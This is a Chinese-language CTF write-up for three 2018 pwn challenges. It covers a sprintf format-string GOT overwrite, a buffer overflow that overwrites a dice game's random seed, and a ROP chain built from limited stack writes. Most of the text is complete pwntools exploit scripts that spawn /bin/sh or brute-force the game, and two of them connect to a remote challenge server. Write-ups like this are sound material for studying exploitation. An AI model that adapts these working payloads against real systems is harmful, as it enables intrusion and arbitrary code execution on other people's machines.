QCTF-2018-Pwn-Wp
QCTF-2018-Pwn-Wp
Notebook
看了Mem2019师傅的payload感觉好强 虽然只有一行payload 但都很精妙
思路:
- 发现是sprintf fmtstr漏洞
- 参数完全可控
- 应该挺简单,改got然后直接getshell
- 然后因为strlen binding过了就瞄准printf了
- 考虑到参数就是fmt所以在fmt开始部分放/bin/sh
- 开始构造payload,大致是”/bin/sh”+”@$%^&*(“
- 为了保证能过check2所以长度要一样。。。
- 于是我开始尝试各种蠢方法最后发现不行
- 看了看发现Mem2019师傅直接去写全局变量len然后在那后面加了个\0…
- 然后是发现过是过了但是/bin/sh有点问题。。需要0截断
- 然后利用一个值是0在原本的note中的地址利用%s读
- 最终payload=”/bin/sh”+”%30$34239s”+”%28$hn”+”%30$52s”+”%29$n\0”+p32(addr)+p32(addr2)+p32(0x804800c)
exp:
from pwn import *
context.log_level="debug"
p=process("./note")
p.readuntil("name?")
debug=1
if debug==0:
gdb.attach(p,'''
b *0xf75fac94
c
''')
addr=0x804a010
addr2=0x804a08c
vul=0x80485c6#sys_plt+6
payload="/bin/sh"+"%30$34239s"+"%28$hn"+"%30$52s"+"%29$n\0"+p32(addr)+p32(addr2)+p32(0x804800c)
p.sendline(payload)
p.interactive()
第一次做sprintf的fmtstr…没有警觉性 半天找不到洞。 还有就是check比较坑check的第一个参数是fmt而sprintf为第二个然后半天搞不懂程序在干啥。。。 经验不足。
Xman-dice_game
char buf[55]; // [rsp+0h] [rbp-50h]
char v5; // [rsp+37h] [rbp-19h]
ssize_t v6; // [rsp+38h] [rbp-18h]
unsigned int seed[2]; // [rsp+40h] [rbp-10h]
unsigned int v8; // [rsp+4Ch] [rbp-4h]
memset(buf, 0, 0x30uLL);
*(_QWORD *)seed = time(0LL);
printf("Welcome, let me know your name: ", a2);
fflush(stdout);
v6 = read(0, buf, 80uLL);
buf可以溢出覆盖种子seed 然后爆破顺序就可以了 爆破脚本:
from pwn import *
import random
import time
#b *0x555555554b09 iwin
def tr(ans):
#sleep(0.5)
p=remote("47.96.239.28",9999)
p.readuntil("name:")
#context.log_level="debug"
p.sendline(p64(0xdeadbeefdeadbeef)*8+p64(0))
i=0
len_now=len(ans);
log.success(ans)
if True:
while i < len_now:
p.readuntil("nt(1~6): ")
next=ans[i]
i+=1
p.sendline(next)
random.seed(time.time())
next=str(int(random.randint(1,6)));
p.readuntil("nt(1~6): ")
p.sendline(next)
print next
sub=p.readuntil('.')
log.info(sub)
return sub,next
def main():
ans="25"
while(1):
if len(ans)==50:
print ans
break
re,n=tr(ans)
if "win" in re :
ans+=n
else :
continue
main()
解题脚本:
from pwn import *
p=remote("47.96.239.28",9999)
p.readuntil("name:")
p.sendline(p64(0xdeadbeefdeadbeef)*8+p64(0))
ans="25426251423232651155634433322261116425254446323361"
i=0
while i < 50:
p.readuntil("nt(1~6): ")
next=ans[i]
i+=1
p.sendline(next)
p.interactive()
比完后发现大家都是… 自己写个程序本地运行一下拿到ans的。。。 居然没有发现这个操作。
Xman-stack2
有限度的任意位置读写 做的时候没看到直接的shell… 走了弯路:
from pwn import *
def wt(off,ch):
p.readuntil("exit")
p.sendline("3");
p.readuntil("which number to change:\n")
p.sendline(str(off))
p.readuntil("new number:\n")
p.sendline(ch)
def wt4(off,ch):
wt(off+0,str(ord(ch[0])));
wt(off+1,str(ord(ch[1])));
wt(off+2,str(ord(ch[2])));
wt(off+3,str(ord(ch[3])));
system_plt=0x8048450
system_got=0x804a018
scanf_plt=0x8048480
scanf_got=0x804a024
puts_plt=0x8048440
puts_got=0x804a014
bss=0x0804a000+0x100
p2r=0x0804895a
pr= 0x08048405
p=process("./stack2")
p=remote("47.96.239.28",2333)
context.log_level="debug"
p.readuntil("have:")
p.sendline("1");
p.sendline("1");
wt4(0x00,"/bin")
wt4(0x04,"/sh\0")
c=2
if c==1:
wt4(0x84,p32(system_plt))
wt4(0x8c,p32(0xffffced8))
if c==2:
wt4(0x84,p32(scanf_plt))
wt4(0x88,p32(p2r))
wt4(0x8c,p32(0x8048a97))
wt4(0x90,p32(bss))
wt4(0x94,p32(system_plt))
wt4(0x9c,p32(bss))
if c==3:
wt4(0x84,p32(puts_plt))
wt4(0x88,p32(pr))
wt4(0x8c,p32(system_got))
wt4(0x90,p32(puts_plt))
wt4(0x94,p32(pr))
wt4(0x98,p32(puts_got))
debug=0
if debug==1:
gdb.attach(p,'''
b *0xf7e3ec94
''')
p.sendline("5")
p.sendline("26739")
p.interactive()
0x8048456
#p32(puts)+p32(pr)+p32(system_got)+p32(puts)+p32(pr)+p32(puts_got)
#p32(scanf)+p32(p2r)+p32(0x8048a97)+p32(bss)+p32(sys)+p32(0xdeadbeef)+p32(bss)
#start at 0xffffced8
#ret_addr